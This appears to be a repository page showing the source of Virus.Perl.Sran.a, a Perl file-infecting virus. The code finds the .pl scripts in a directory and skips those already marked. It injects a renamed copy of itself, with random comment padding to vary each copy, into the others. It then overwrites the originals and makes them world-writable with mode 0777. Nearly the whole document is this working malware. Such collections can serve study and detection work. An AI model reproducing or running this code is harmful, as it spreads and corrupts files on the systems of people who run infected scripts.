-
Notifications
You must be signed in to change notification settings - Fork 1.9k
/
Copy pathVirus.Perl.Sran.a
43 lines (33 loc) · 1.2 KB
/
Virus.Perl.Sran.a
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Perl.Sran
qwerty();#
sub qwerty {
a: while (<*.pl>)
{
my $oF = "qwerty";
my $tN = "$ENV{\"HOME\"}/tmp/".crypt($_, $_), $oN = "./$_", $nF = crypt($_, $oF);
open (WE, "<$0");
open (IFILE, "<$_");
open (TEMP, ">$tN");
while (<IFILE>)
{
chomp;
if (/\#!Sran/) { unlink ($tN); next a }
elsif (!/#!\//) { print TEMP "$_\n" }
else { print TEMP "$_ #!Sran\n$nF();\n" }
}
while (<WE>)
{
$st = "";
s/#[0-9].*/$st/;
if (/sub $oF/ || /my \$oF =/) { $cW = 1; s/$oF/$nF/}
next if (/#!\/usr\/bin\/perl/ || /qwerty();#/ || !$cW);
if (int(rand(2))) { $st=" #".crypt($_, rand(256)) }
else {$st = ""}
chomp;
print TEMP "$_$st\n";
}
unlink ($oN);
rename ($tN, $oN);
chmod (0777, $oN);
}
}